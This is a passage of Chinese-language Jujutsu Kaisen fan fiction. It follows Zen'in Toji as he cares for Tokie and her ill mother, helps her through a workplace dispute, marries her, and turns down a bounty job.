野生咒术师的黑市里,除了有普通人客户家里“闹鬼”想找人看事,更多的是雇佣杀人、雇佣杀咒术师、咒具咒物倒卖。甚尔的体质特殊,老天让他毫无咒力(要知道就算普通人身体里也是有少量咒力的),他肉//体的强度被加强到了极致,孔时雨估量他最少也有一级咒术师的水平,可以碾压绝大部分咒术师了,但是——
“你不会是想要动手杀了他们吧,老兄,你到底还想不想活着了。”
孔时雨觉得实力强大的禅院甚尔好歹姓禅院,说不定会被高高拿起轻轻放下,万一他被牵扯出来,他这个小虾米能不能活那就看他祖上有没有积福了。
甚尔说:“我只是想和他们打个他们最熟悉的招呼。”
孔时雨一听就知道这个招呼一定很血腥,“你不是说你要结婚了,你是能跑我也有门路,你女人怎么办。”
电话那边的甚尔不说话了。
孔时雨内心复杂,知道他肯定不会行动了。
他没想到这个借口这么好用,以前可以称得上是无法无天肆意妄为的甚尔都会改变想法,果然爱情和婚姻都是坟墓。
但对于甚尔来说未必是坏事。
孔时雨好奇地问:“以前都没听你说起过,最近才认识的?你们打算什么时候结婚?”
“是认识不久。”
沙发上的甚尔变了一个姿势。
甚尔谨慎评估目前他们之间的进度,“但是她还没有把我当可结婚的对象。”
孔时雨的震惊和嫌弃溢于言表,“你当务之急不是催我给你办身份,而是把人追到手。”
甚尔直截了当,“所以追人要怎么追?”
“你问我不是更离谱吗?!!”
孔时雨再次抓狂,“好吧我想想。”
......
时枝在一个半小时后回了家。
一个半小时的时间看起来很长了,但是对于探望妈妈来说其实有点短,主要是她和妈妈说了自己以后会来陪她后,直接被提着耳朵教训了整整一个小时。
整整一个小时......
现在时枝的脑子里都是嗡嗡嗡的“绝对不能放弃晋升,听见没有!”
这句话的回音。
妈妈对她的记性很不放心,几乎是洗脑式的和她重复。可是时枝真的觉得没什么大不了,重要的事她自然记得,不记得的都是不重要的事。
她表情呆滞地进了家门,看到了站在客厅中间的甚尔。
甚尔看到她的表情,问了一句:“怎么了?”
“妈妈.......不想让我陪她。”
时枝很受伤。
说来说去,不就是想要说服她把母亲放在一边,现在都是什么时候了。
时枝低着头,眼泪蓄积,她感觉到甚尔走到了她的面前。现在的甚尔当然是没有穿围裙的,他穿着他的旧衣服。
她身体被甚尔抱进怀里。
时枝有点懵,头被按在甚尔宽阔的胸膛,柔软有弹性的肌肉隔着薄薄的衣料贴着她的脸颊。
“她很希望自己不耽误你的生活。”
甚尔拍了拍她的后背。
5. 相遇第五天
时枝瞬间想起了病房里的妈妈,“可是她明明还没有离开,为什么都已经用她要离开隔开我们。难道不是应该更珍惜这段时间吗?”
“......”甚尔没有继续说下去了。
时枝说完那句话以后就开始哭,不得不说他温暖的身体确实给了她一些安慰。一种至少身边还有个活人的安慰。
她哭完以后看了甚尔一会儿,思考他的衣服被自己整得一塌糊涂要怎么办,但是大脑一片浆糊没一会儿人就睡着了。
甚尔把她放到了沙发上,她的体重不算轻,可抱起她对他而言轻而易举。
他看着她,没做其他的事,保持房间里的安静。
说实话,他记不太清楚自己母亲死的时候,他有什么感触和感情,只是把那个场景记得很清楚。
那天他走回去的时候,听到他们住的小房子里有不同寻常的声音。他戒备走近,却看到三两个人拖着母亲的尸体从他的身边路过。
那一瞬间他什么都没想,只站在那里一动不动地看着,直到附近空无一人,大雪淹过他的膝盖,无处不在的寒冷爬进他的毛孔。
尽管时枝的母亲不会死在冬天,但时枝此时蜷缩的姿态,或许也是体验到那种寒冷的结果。
他血缘上的父亲在禅院家位高权重,但妻子侍妾的地位却没多高。外姓咒术家族嫁来的女人可能还有点尊荣,但是禅院本家没咒术才能、被分配给男人的女人,她们只是人形的、活着的、有一定特殊功能的工具。
或许生下他的时候,母亲是有期待的。
但他身上一点咒力都没有,不用等五六岁的咒术术式觉醒,他一出生就被判了归属。
——人下人,人下人下人。
这就是禅院家的规则,无咒术者非人。
或许母亲养大他也经历了时枝母亲那样的困难。不,应该还要更困难一些。普通人的社会里,时枝的母亲还可以通过打工赚的生活费,而他的母亲一辈子没有走出过禅院家。
禅院家的下等人没有为人的尊严,剩下的时间里他只要当只野兽就能活下去。最严重的那次有人把他关进家族圈养咒灵的地方,他们以为他没有咒力杀不死咒灵会死在那里,但他有带有咒力的咒具,把那里杀穿了。
从那以后他活得更容易了一些。
但是他也发现,禅院家也就那样。
他从来不后悔从那里离开。
甚尔看着空气里漂浮的灰尘。
时枝正在小声打呼噜。
他突然发现自己现在明明无事可做,但也不想去赌马,对于接单倒是有点兴趣,可又不能接单,所以才坐在这里胡思乱想。
安宁的安静对他来说很陌生。
而这时间一晃就过去了半个小时。
“唔。”时枝爬起来揉了揉眼睛,然后就被吓了一跳。
“你就坐在这里看着我睡觉?”
甚尔眼神动了动,扯了个谎,“只是坐在这里休息。”
时枝挠了挠头,想了想也是,房间也就这么大,总不能让甚尔去厨房坐着吧。
她去卧室继续整理文件去了。
晚上时枝又去了一次医院,这次待的时间长一些,或许这次她们母女的沟通更顺畅了一些。
甚尔被时枝交代去超市买打折的食材和生活用品,他还是第一次知道晚上超市下班前会打折出售食物。
时枝写给他的纸条,字迹非常潦草,下面压了一叠零钱:
【卫生纸、你的牙刷牙膏水杯,剩下有什么打折就买什么!!】
“这有什么可写的。”
甚尔把纸条折好放进口袋里。
离家最近的超市叫坂本超市,甚尔走进去。
坂本超市门口的收银员是一个银发胖男人,带着一副圆眼镜,应该也是超市的店长。
坂本看着他走进来,目光随着他的动作移动。
——这个人,不对。
甚尔也看了他一眼,脚步没有停留。
打折区一向是最明显的,他径直走去抛开盖在上面的红色“惊爆价xx円”纸板,手上拿起一颗白菜,但是里面还有一盒鲜肉,甚尔迟疑不决。
旁边悄然伸来一只手。
“买东西要拿篮子。”
胖胖的坂本走到甚尔旁边。
“哦。”甚尔拿过他递过来的篮子。
甚尔面无表情的往篮子里放东西。
坂本看似正常但其实不太正常地给他递了篮子后,就回到收银台去了。
甚尔继续去了生活用品区。
高大的排货架遮挡住他的身形。
“......”超市的门又开了,风铃叮铃铃地响。
有人走了进来。
甚尔的脚步一顿。
这个人......
即使在超市的另外一个角落,他也能把那个人说的话听得清清楚楚。
“坂本大哥,我明天就要离开这个城市了。”
——有细碎的金属摩擦声。
“所以,今天来和你好好告个别!”
接下来是装了消音管的枪械发射子弹的声音。
甚尔撇嘴,自顾自地从货架最上面拿下来价格最便宜的卫生纸。
他还以为是咒术师,原来只是普通人。
坂本已经和那个人打起来了,货架上的商品乱飞,甚尔且走且退拿东西,躲避着他们战斗甩出来的物品。
乱七八糟的糖果像子弹,真的子弹也在这片空间里流窜。
“哐当!”
坂本一脚把人踹飞,连带倒了三四个货架。
甚尔刚转身,看着货架在自己面前轰塌,还有一个黄毛的身体缓缓滑落。
甚尔下意识估量对方死没死,看向坂本,抬了抬手里的购物篮询问道:
“多少钱。”
坂本走过来翻看他的篮子,飞快心算了一遍。
“承蒙惠顾xxx円。”
黄毛幽幽坐起对甚尔说:“你是什么时候冒出来的啊!!”
“一开始就在。”
甚尔觉得他太菜了,但不关他的事,他掏出钱给坂本。
坂本把钱搓开看了一眼,塞到围兜的口袋里,“不好意思先生,我腾不出手,购物袋在收银台,先生下次来可以带袋子或者包,这样能节约家庭开支。”
“嗯。”甚尔看了一眼那个黄毛。
黄毛突然一个激灵,蜷缩在一起用手挡住自己的命门。
甚尔不在乎他的反应,走到收银台那
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边拿了袋子把东西装好就走了。
“......他刚才想杀了我。”黄毛说。
“哦。”坂本看着那个人的背影,“你打扰他买东西了。”
黄毛感觉自己撑不了多久了,他果然还是杀不了坂本,有点凄惨地笑了笑。
“坂本大哥,你以前当杀手的时候认识他吗?”
——这个买东西的男人绝对不是普通人,一般人可能分辨不出来,但是对于他们这些曾经在黑暗世界里待过的人来说,他的一举一动都是在明示。
“不认识。”
坂本说,他弯腰把黄毛拉了起来。
这个世界有很多不为人知的地方,就算是极道也分是街头小混混组成的还是专业杀手组成的,他以前是在杀手这方面的顶尖,但还有更幽深的组织藏在世界的深处。
但是不巧的是,即使分为光明世界和黑暗世界,所有人还是同在一个地球上。
所以他们总会在偶然间相遇。
甚尔走出坂本商店的时候,看见一个扎着单马尾下巴上有痣的女人,抱着小女孩走过来。
对方穿的围兜和坂本身上的一模一样,看起来他们都是一家店的员工,大概那就是刚才那个人的老婆孩子。
不知道为什么,他突然对自己有点信心了。
就是不知道那个一片狼藉的超市,坂本和黄毛要怎么在女人回去前收拾好。
时间过的很快,转眼就到了工作日。
时枝半死不活的从床上爬起来,但是收拾好以后又精神焕发。
她绝对要体体面面的去上班,不能被人发现自己的憔悴。
甚尔睡在客厅里,他已经起来了,见到她出来喊她吃饭。
时枝吸了吸鼻子,饭菜的香气冲进了鼻腔。
“你——”时枝开口。
甚尔正在盛饭,不经意露出肌肉,“怎么了。”
时枝哑巴了一会儿,干巴巴地说:
“你做饭很好吃,比我吃到的很多厨子的手艺都好。”
——她怎么有了包养对方的想法,还想如果他愿意做她的家庭煮夫就好了。
她现在包养不起啊!!而且人家是有麻烦暂住她家所以才做这些事的。
她听说这种住家牛郎,会在金主提出想要和他结婚的时候离开,因为纯粹的包养关系不能变成情感关系,人家还要靠这个赚钱。
断人财路如同杀人父母啊。
“你已经说过很多次了。”甚尔说。
时枝小心地端饭,嘟囔着:“好吃就是好吃么。”
她放下碗以后对他比了一个大拇指,“我一定会夸出来的。”
甚尔:“......”
他端了剩下的碗盘,当然也要帅气的端。
时枝突然惊讶,“你的脖子是不是落枕了,有点僵硬。”
甚尔的脖子没有僵硬,但表情确实是僵硬了。
他若无其事地动了动脖颈,“没有落枕。”
时枝也不知道甚尔是不好意思说真话,还是说真没什么,“我还是给你找一床新被子,你打地铺吧。你个子高,在沙发上睡应该挺不舒服的。”
甚尔揉了揉额头。
他怀疑了一圈最终得出结论,时枝是木头。
6. 相遇第六天
吃过早饭后,时枝抱着文件袋出门了。
甚尔其实有点好奇,为什么昨天看见时枝铺了一地的文件,结果整理起来就这么一点。
时枝当然也不可能告诉他,其实她带回来的文件真的只有这么一点,她有让最少的物品显得最乱的神奇魔力。
她到了公司,和同事们打招呼。
关于晋升的事,她心里还有犹豫。
时枝心神不宁地工作,但因为不怎么跑神了,效率倒是比以前快不少。
“莫西莫西?”
同事鸟羽接了办公室的电话。
“嗯——田中桑现在不在,我也不知道他什么时候能回来......公司也是有规定的,啊,佐藤桑你来一下!”
怎么又有她的事了,鸟羽这种推脱责任的语气,时枝感觉八成不是什么好事。
时枝把电话拿过来,听前台那边很吵,除了有个人说“你们要负责”的话,心中一沉,拿起外套向外面走。
“下面好像出意外了,我下去一趟。”
她这一去,一个小时后才回来。
时枝的神色比之前轻松不少,在办公室里怡然自得地活动筋骨。
鸟羽一见她,迫不及待说:“你怎么才回来啊,刚才主管在找你!”
“噢,那我去了~”
时枝收了份传真。
鸟羽没忍住好奇问她,“那个客户你劝走了吗,下面发生了什么事?”
时枝拍了拍她的肩膀,只说:
“说起这个啊,还真要谢谢你。”
“我?”
比起时枝的好心情,有人的心情糟糕透了。
办公室里,主管中村正在大骂田中。
这次来找麻烦的顾客正是田中负责的,本来保质保量交付的项目,对方验收时却发现了问题,而田中周末的时候拒接电话,今天上班也没有及时查看邮箱。
“你这次的失误直接影响整个部门的绩效!我真的太失望了。”
田中疯狂道歉。
“是我的问题没想到会这样,我只是根据公司上下班的时间而已,我以后一定会改正。”
中村听到他道歉的话无语凝噎,反而更生气了。
“你好歹也不是刚刚入职场的新人了,难道就不能像佐藤一样细心些吗?”
田中心中恨意滋生,凭什么让他像那个女人一样。
部门里他最讨厌的就是佐藤。
本部门是近几年刚刚组建的新部门,中村主管是因故平调来的,除此之外部门里几乎都是新人,剩下的老人也没多久就会退休。
这对于新人来说是难得的机遇。
进入公司后,他们兢兢业业做着自己的工作,尊敬前辈,和同事客客气气地相处,都是像一个模子里刻出来的。
但是佐藤时枝的阳光开朗的性格,却总是能从和大家一样的行为里表现出来。她的人际关系是最好的。
田中眼睛里的嫉妒都要溢出来了。
时枝能养成这样的性格,一定生活很幸福吧,总是听她提起母亲,还有马上就要结婚的丈夫。
办公室的门被敲了敲。
中村说了句“请进”,时枝走进来。
“佐藤君,”中村主管语气柔和下来,“这次你做的很好,及时下去稳住了对方。”
时枝脸上带笑,装作自己在门外的时候什么都没听见,“只是凑巧,鸟羽接电话的时候告诉了我,也是中村先生您来的及时。”
中村主管说:“我打算给你举荐信。”
田中猛地抬头看向中村,却对时枝炮语连珠,“可我听说佐藤桑已经在准备和浅仓君的婚礼了,婚后还会留在公司吗?”
“原来你这段时间是在关心我的消息,”时枝扬起下巴,“不好意思,我已经和浅仓分手了。”
田中一愣反问,“你难道永远不结婚?!”
田中已经放弃辩驳自己的失误,有时谁能虎口脱险就只是比另一人跑得快。
“中村先生我只是因为男人的刚直所以不会交际,但我有内子的全力支持,以后也有足够的时间学习进步,会在部门里工作更久!”
中村主管迟疑了。
他很重视这个他一手组建的部门,田中性格有缺陷能力略差,佐藤能力强人缘好可却是女人迟早要面对婚姻问题。
中村更希望接手他职位的人可以在这个岗位上久一点。
时枝看见主管的神色,顿时心头升起一股无名火。
她可以接受因为自己能力不足失败,但绝对不认可因婚姻问题绑定职场失败,她几乎是下意识脱口而出。
“中村先生,我马上就要结婚不假,但是是对方入赘,家庭全力支持我也有!”
时枝站在那里,一点也没有撒谎的模样,气势逼人又坚定。至于是不是真的又怎么样。中村主管现在也只是嘴上说说,没有把举荐信真的给她。
“而且我去送客户回去的时候,已经说服了对方不会更换合作方,只要我们弥补之前损失,处理好就能把这件事在我们这层级解决。”
“田中桑,我在为部门利益努力的时候,你在干什么?”
时枝把手中的纸页放到主管的桌子上。
“这是刚才对面发来的文件。”
田中的表情近乎绝望,“不可能……”
时枝漠然地看着他,“浅仓那个人丝毫没有担当,背信弃义,我不会和他来往了。”
中村主管骤然疲惫。
他叫停闹剧看着面前两个得力下属,“我再考虑考虑,你们先出去吧。”
时枝和田中一起被请出中村的办公室。
田中恨恨地看了时枝一眼。
时枝懒得和他说话,琢磨中村主管到底是什么想法,为什么让他们出来。
田中的目光她完全不在意,他还能用眼神把她杀了吗。
她觉得自己虽然看起来和人打交道很厉害,其实都是凭借本能行事,单纯觉得在那个时间应该说那样的话,还真没过脑子,只会见招拆招。
“我会拆穿你,入赘这样的谎话你居然能说出口。”田中说。
时枝双手抱胸,嘲笑地看着他,反正他们已经撕破脸皮了。
“如今时代变了,家庭的后盾有一个就够了,男女有那么重要么?你就是因为这样才会轻视对面的女负责人出纰漏吧。”
办公区鸟羽一脸吃瓜的表情看着他们,感叹针尖对麦芒。她一转头,却发现入口处有个黑漆漆的人影。
鸟羽惊呼,“你找谁?!”
那个人没有仓惶跑走,站在那里。
“我找佐藤时枝。”低沉的男声说。
他的身材高大,身上虽然穿着普通的布料柔顺的短袖,但是却有让人无法忽略的危险感,更要命的是之前没一个人发现他在那里。
“我来给她送便当。”甚尔抬起来手上的颜色粉嫩的便当袋,语气温和地说。
“难道你就是佐藤桑的……”
时枝和田中看过去。
时枝抿嘴,冷诮地看了田中一眼,然后表情瞬间转暖,走过去,语气甚至有点甜腻了。
“亲爱的
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,你怎么来了。”
男人的身体遮蔽一大片阴影,时枝就像归巢的小鸟投了进去。
鸟羽的视线不住在面前几个人身上回转,心里啧啧称奇。
她平时看到的都是时枝张扬干练的形象,没想到私底下还有这么女子力的一面。
“你早晨出门没带便当,我做好送过来了。”甚尔说。
时枝接过便当懊悔地说:“忘了和你说了,我平时在公司楼下就吃了。”
甚尔的目光扫过其他人,尤其是田中感觉背后一阵寒冷,可是他偏偏用十分温和地语气对低头看便当时枝说:“那是以前,以后我会做给你吃,妈妈那里我也去过了,她很好。”
时枝的动作顿了一下,表情又一瞬间的失落,但是很快变了回来。
“谢谢,你也太好了~”
她双手合十夸赞着。
甚尔面无表情,但嘴角确实有点微不可查的笑。
时枝回头看,拉着甚尔的胳膊对着两个同事说:“我们先离开了,下午见。”
她最后的目光落在了田中身上,什么也没说但不言自明。
两人离开的背影,好不般配。
田中眼神飘忽,莫名感觉脸很疼,他看向了鸟羽瞪了她一眼。
鸟羽觉得他莫名其妙,放下和时枝告别的手。
——听说最近他的妻子正在和他闹离婚,这么莫名其妙的性格,难怪了。
时枝和甚尔随便找了个没人的地方吃便当。
写字楼的单向玻璃外壁,可以看见繁华热闹的街区。
时枝虽然有点累,但是更多是压过田中一头兴奋,一边打开便当一边和甚尔吐槽刚才发生的事。
“……你是没见田中狗急跳墙的嘴脸,他迫不及待地攻击我,结果被我堵得说不出话。呃,筷子呢?”时枝疑惑。
甚尔手忙脚乱,还好找到了。
“不过我想不明白为什么中村先生是那个表情。”时枝说。
她怎么想都觉得中村主管应该对她大加赞赏才对。
她当时的还击简直帅爆了。
甚尔其实不太明白时枝说的项目,但是他知道在禅院家的躯俱留队时如果任务出现差错,往往是队长先被比自己高一级的人骂,然后再是队长对他们这些队员发泄怒火。
“这个项目的结果和他有关吗?”
“有关系啊,不过他都要走了......欸,就是他要走了!”
时枝现在才反应过来。
“田中在中村先生马上要升职的时候出差错,这么关键的时间点,他肯定吓得直冒冷汗,怪不得会直接说给我举荐。”时枝恍然大悟。
“所以你说他的疲惫神情,其实是他感觉逃过一劫虚脱的神情。”甚尔说。
他倒是经常见别人有这种表情。
平均几天就能见到一次。
时枝龇牙咧嘴,“我给他帮了这么一个大忙,他不至于过河拆桥了吧。”
——当然拆也晚了,她对顾客动之以情晓之以理,说明了他们再找其他人也没办法像他们这么了解项目,另选别家搞不好在他们规定的期限内无法交工,又对顾客愤慨十分共情理解,所以对方想要和她签单了。
这是一个烂活,但一想到不能让田中有翻身机会,她还是这么做了。
时枝痛恨自己不合时宜的情商。这不是又给自己揽了一个吃力不讨好的活,帮别人收拾烂摊子。
甚尔看着她自己对自己发脾气,觉得有些可爱。
时枝发完脾气后,对他说:“你还挺聪明的嘛。”
7. 相遇第七天
“还行。”甚尔淡淡地回应。
时枝的情绪起伏很大,现在平静吃便当了。
吃着吃着,她突然说:“这个项目算是我抢下来的,后面更忙了。”
时枝咬下嘴唇上的一粒米。
明明说着母亲最重要的自己,却做着截然相反的事。她真的尽到女儿的责任了吗?为了争一时意气,完全把母亲抛到脑后了。
她皱眉,面孔上浮现隐隐约约的恐惧,目光看着外面。
甚尔看着她,她或许想起了一些令人惶惑的事情。
但是也不必言说。或许就是因为现在的情况太恰好,如果母亲还有一线生机,她都不会为难。
“不用担心。”
甚尔说,他决定帮她一把。
时枝看向他。
“我来之前去看过阿姨,她说你如果请假去陪她,她就不配合治疗。”
甚尔看着时枝,他在她的脸上看见冬季过去春天到来的苦寒。
没有什么比这个让他更确信自己的想法没错。柔软真挚的感情是他在时枝身上看到第一层外衣,而现在在苦难里揉碎掉落的玻璃渣是她的珍珠核。
甚尔看向地面的某个地方。
她未来是珍珠,而不像他,始终在过去的淤泥里无法自拔。他是将把珍珠窃据为己有的人,所以他现在低眉顺眼。
就像他在离开禅院家之前在仓库里挑选斟酌咒具一样,好像拥有了这些他就能够摆脱什么。
“白天我会去医院看望她,你晚上去陪护她,有我在,你可以选择两个都要。”
时枝不知道他的想法。
她才发现自己一直在屏住呼吸。
她强抿着嘴,睁大眼睛看别的方向,忍无可忍:“你以为自己在做什么!”
她努力让自己理智一点,“我只是不希望母亲太孤单,你突然说这种话,我不是都和你说了不用做那么多的事吗,你难道真的想和我结婚吗?”
牛郎会在人动了真感情后就会不负责跑掉,就算不是牛郎,也有很多男人是不负责的类型。
或者说,这个世界人不分性别,本来负责任的好人就不多,反正她母亲没碰到,她觉得自己运气也没那么好。
甚尔在这种时候反而变得坦然。
“想。”
“......?”
“想和你结婚。”
时枝拧着眉,“你的长相和身材一点不缺给你送钱的女人,和我结婚以后要在家里好好当个家庭煮夫,和社会上很多人格格不入。”
甚尔无所谓,反正他也不是什么真牛郎,也和这个社会从来没相融过。
“都行,我还想改姓佐藤。”
时枝震惊。
她摸了摸自己身上。
“我没有什么好骗的吧,除了我的身体,我现在也没钱,我也绝对不会跟着你去办贷款、当担保人或者赊账的。”
“我也不需要那些。”
甚尔虽然还是那副样子,但时枝觉得他说的应该是真话。
她是真理解一些社会新闻了,难怪有人上当受骗,主要是诱惑真的很大。
“那、那也进展太快了。”
时枝结结巴巴地说:“我还要考察考察你。”
“好。”甚尔说。
时枝后面还是用一种匪夷所思的目光盯着他,但是鉴于上班时间限制,她还是回去了。
甚尔遵守承诺去医院看了时枝的母亲。
说实话,来看护病人的家属并不多,有人请护工照顾家属已经很周到。有时候甚尔也在想,没准是时枝的标准太高。可是看着时枝母亲开心的模样,他似乎又能理解时枝的想法。
至少这种欣慰和舒心,他从来没有在禅院家见过。
而在这个时刻,他也真的只是此时这个中年女人的普通人女婿。
晚上的时候时枝来了,依然是风风火火的样子,和母亲说了自己晋升的好消息。
时枝把甚尔赶回去休息,他们换班。
接下来的时间里,白天时枝忙到飞起,晚上带着电脑去医院加班。
时间很快过去了。
每一天白天,甚尔都十分精心的照顾的时枝的母亲。
时枝有时候自己都在想,母亲的脾气越来越古怪,某些时刻她自己都有些受不了,但是甚尔却依然那么稳定温和。
时枝看着躺在床上的母亲,只有开着镇痛泵才能安然入睡的母亲。
她能勉强做到这一点是因为对母亲的爱,他是因为什么?
她朦朦胧胧的感觉,如果母亲死了,她也活不了多久。有的人是独居的,有的人是群居的,她肯定是个群居动物。
“小枝......”母亲在病床上含含糊糊地叫了她的名字。
“我在,妈妈。”时枝赶忙握住了母亲的手。
母亲的手温凉,她手的温度已经比起时枝凉太多了。她用力攥着她的手摇了摇,时枝却没有感觉到多少的力量,“你在,甚尔回去了吗?”
时枝的动作停下来,“嗯,我今天是休息日,所以不让他来。”
“这样啊......他是个好孩子,但是以前的生活太苦,和父亲兄弟的关系不好。”母亲打起精神,想到了什么。
“他没和我讲过这些。”时枝有点犹豫地说,“他想和我结婚,但毕竟也没说带我见父母。”
母亲听她这么说倒是打开了话匣。
时枝这才知道甚尔大概的身世。
“那我和他还挺适合的。”时枝表情复杂地说。
其他的条件不说,要掰扯根本掰不清。如果甚尔真在那种环境长大的,首先禅院家族应该事很强盛的家族,他属于大家族少爷离家出走当鸭,出身好但现在一穷二白;而她是个普通人,生活虽然像走钢丝惊险但至少安稳。而且巧了,她现在也没什么钱,但是升职也代表工资上涨。他们谁也别说谁。
但向往有一个温暖的家庭这点,他们很一致,而且家庭对他们来说是很重要,也就代表结婚以后他们的关系会很稳固。
她理解甚尔为什么想和她结婚了。
不过和她结婚的话,那甚尔就绝对不能继续当牛郎。
“长相好看的人并不难找,但是能帮你分担琐事和责任的很难找。”母亲叹了口气,“很多时候,反而对方是推卸责任的一方。”
时枝这时收到了甚尔发来的短信,她下定决心,下楼去找他。
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时枝一路上给自己加油打气。
遇到一个合适的人可不容易。
而且看来甚尔很讨厌“禅院”,讨厌到即使已经离家出走脱离那个环境,对姓氏还有余恨。刚好她也不图甚尔的家族怎么样,以后他们和禅院家也不会有任何联系。
时枝脑子里思绪万千,却在医院的门口看见了一个穿着西装,留着两撇油滑小胡子的男人正在纠缠甚尔。
对方虽然穿衣很正式,但正经人哪里会在休息日穿西装出门啊!!
时枝冲过去,刚好听见了他们交谈的话语。
“你该工作了吧,上次惹的麻烦已经过去了。”
“不,我——”
“他不会回去工作了!”
黑发穿着风衣的女人冲到他们中间,一把把甚尔拦在身后,“真的抱歉!甚尔以后不会再去店里了。”
孔时雨:......
他看眼前这个面容姣好但气势汹汹的女人。
以及她背后突然变得十分柔弱,居然真被一个女人挡在身后的“术师杀手”“天与暴君”。
一瞬间世界变得魔幻了。
甚尔趁机把装着身份证件的袋子塞进衣服藏起来。
“小枝,他是我的朋友。”甚尔帮孔时雨解释。
孔时雨连忙点头。
时枝又不瞎,看到了他们的眉眼官司,觉得一定有什么她不知道,她脑子转过一个弯。
“原来是这样么,我刚才听到你们在聊工作?”时枝问。
“......就是恰好遇见聊天聊到了而已。”孔时雨猜到她应该就是甚尔的结婚的对象了,也配合起甚尔的说法。
“对对,我和他就只是遇见了聊天。”甚尔附和。
时枝兀然转头,问:“那你说说他叫什么名字,为什么不给我介绍。”
孔时雨连忙说:“我是——”
“让甚尔说。”时枝转过头盯着孔时雨。
孔时雨看着甚尔。
甚尔面色如蜡,想了半天说不出一个字。
孔时雨是有点绝望的,他不该对甚尔和男性有关的记忆力抱任何希望。
挡在他们中间的女人重新变得气势汹汹,“不用说了!”
时枝的表情明显是:“连名字都不知道的人居然还叫朋友吗”的意思。
她双手叉腰,对孔时雨说:“甚尔是不会回去工作的,如果因为违约的原因需要赔款请宽限我们一段时间,我们会想办法。”
孔时雨纳闷。
违约赔款?甚尔到底编了什么奇怪的谎话造成了这么奇怪的误解。
甚尔在时枝的背后对着孔时雨摇了摇手指。
“咳嗯,”孔时雨接受到了他的意思,但是也起了点好奇心,装模作样地说,“其实赔款的我们不是很在意,主要是店里比较缺人。”
甚尔不可思议地看着他。
时枝犹疑地回看了一眼甚尔。甚尔的表情瞬间变得十分无辜,她直接替甚尔拒绝了他。
“即使缺人他也不会回去了,请不要来找我们,他已经决定和我结婚,不会再从事牛郎的工作。”
“噗!”
孔时雨捂住了嘴。
8. 相遇第八天
“嗯?”时枝疑惑。
“没什么,那就这样算了吧,我还有事。”
孔时雨差点要被甚尔的眼神千刀万剐了,赶忙找借口离开。
时枝疑惑地看着孔时雨的背影。
甚尔装作正经把她揽过来,“事情已经解决,我们去医院。”
时枝温暖的身躯炙烤着他。
时枝耸了耸肩,“你以后绝对不能和他来往了。”
“好好好,”甚尔张了张嘴,犹疑地问出口,“我们......要结婚了么?”
时枝后知后觉脸红,也摸起下巴装作正经。
“你算是通过了考验吧,但是绝对不能干那种工作了!”时枝强调。
“我保证绝对不会。”甚尔万分肯定。
结婚的事火速敲定,上午他们和母亲说过这件事,下午甚尔就拿来了婚姻届。
接下来就是一系列的手续,过了几天的时间他们成了法定的夫妻。
孔时雨知道这件事的时候已经晚了。
他和甚尔夜里在黑市碰头,即使是正大光明的见面也有了一丝丝不可告人的感觉。
“......”孔时雨面无表情的看着貌似心情极佳的甚尔,“你这就结婚了?”
“是的。”甚尔愉悦地回答。
“不是,她都以为你是牛郎了,为什么还和你结婚!”孔时雨不可思议,“难道她没有从社会新闻里看到过这么做的人的下场吗?”
甚尔难得露出一丝冷幽默,“大概因为我是个可靠顾家的好男人。”
孔时雨无力吐槽。
顾的什么家,禅院家吗?
他总算把之前禅院家受袭的情报和甚尔离家出走联系起来了。他们这些情报贩子的消息灵通,他之前以为是哪位神人看禅院不顺眼去捣乱,结果竟然是本家人打翻一众人等离家出走,禅院养伤养了几个月才跑出来找人。
想到这里,孔时雨环顾四周。
黑市远不像常人想得那么神秘,其实就是普通人说的“鱼龙混杂”的地方,总归是会有实际存在的建筑物和交易人群。
或许以后用网络传递消息会更加神秘。但现在他们是在一家小饭馆里。
“你真决定不干了?”孔时雨说。
“不干了。”甚尔摸了摸嘴角的疤,单只手撑着脑袋,眼神随意地看着店里放在高处的小电视。
孔时雨随着他的视线看过去。
赛马的画面闪动。
“也不赌马了?”孔时雨问。
“不赌了。”甚尔说。
他本来也没赌瘾,只是在依靠它虚掷人生。
孔时雨咂嘴,心想一代术师杀手真心要隐退去过自己的平凡生活。如果想他重新出山,必须要杀掉佐藤时枝。
......不过那也要做好被杀的准备。
“我觉得你或许可以多想一点,比如说我这里有条情报,可能和治愈疾病的咒具有关,你做完任务可以用它治愈佐藤的母亲。”
甚尔眉毛微动,看向了他,他沉默一会才说话。
“算了,不用。”
孔时雨看他油盐不进,“难道你不想让她的母亲好转吗?”
“争来争去最后都是御三家的。”
甚尔又不是咒术小白,即使在禅院家并不受重视,但是该有的咒术界常识他都有。
攻击类和解咒的咒具都可以在黑市里流通,无非最珍稀的卖得最贵。但是治愈方面,掌握反转术式这种特殊的咒力运用方法治疗自己的咒术师已经少得可怜,能治愈别人的咒术师更是千百年也没几个。
咒具咒物都从咒术师来,咒术师没这个能力当然咒具咒物也没有,治疗咒具有多珍贵不言自明。
以前他可能会为了给老东西们添堵去一趟,现在他脑子有问题才会把这种烫手山芋抢回来。
“御三家对我们小喽啰太高太远,黑暗世界的大染缸不是拍拍屁股就能走的。”孔时雨叼了根烟,翻口袋找火,眉头皱着。
“术师杀手”的名号已经打出去了,有很多人都想找甚尔。
甚尔手指敲着太阳穴,语气平静却十分桀骜,“谁能杀我?等五条的六眼长大了还有点可行性。”
“你当然不担心。”
甚尔下意识摸了鼻子。
他虽然没说话,但孔时雨知道他动摇了。
甚尔和其他咒术师的最大的不同——他没有咒力和术式,即使能凭借身体的强悍与咒具杀死咒灵,却抵挡不了某些咒术术式针对普通人的远程咒杀。
“情报给我。”甚尔向他伸手。
孔时雨二话不说,打火机也不找了,当即把文件袋给他,“发现线索一条十万,抓到人一百万,拿回咒具又抓住人一千万。”
甚尔觉得他的话有点多余,打开文件袋像往常那样粗略扫过情报。
孔时雨说的话有一大半可以当屁放,这只是一个拿着不全的信息出来悬赏的半吊子委托,不知道是谁拿出来了这么多钱当冤大头。
甚尔把那张纸塞回去,“我回去了。”
孔时雨愣了一下,“这就走了?”
他以为甚尔还会对这个任务发表什么意见。
甚尔挑眉。
他从口袋里拿出红色纸袋,放在孔时雨面前,“不用谢。”
孔时雨拿着包装精致的喜糖纸袋,兀地笑出声,烟都差点掉了。
他说为什么甚尔明明不打算接任务,还要特地来一趟。
“恭喜,新婚快乐。”
孔时雨把糖袋收进公文包里,真心地说:“如果你能记住我名字就更好了。”
甚尔摆摆手不言语,已经快速消失在店门口,消失在夜幕里。
甚尔夜里随便出行是因为时枝待在医院里。他们结婚的事也和母亲说了,还要告知其他时枝的亲朋好友——虽然说因为她是单亲家庭,父亲那边的亲人基本不联系,但是总归比甚尔的朋友多一些。
他回到家里,地面上还摆放着一些工具。
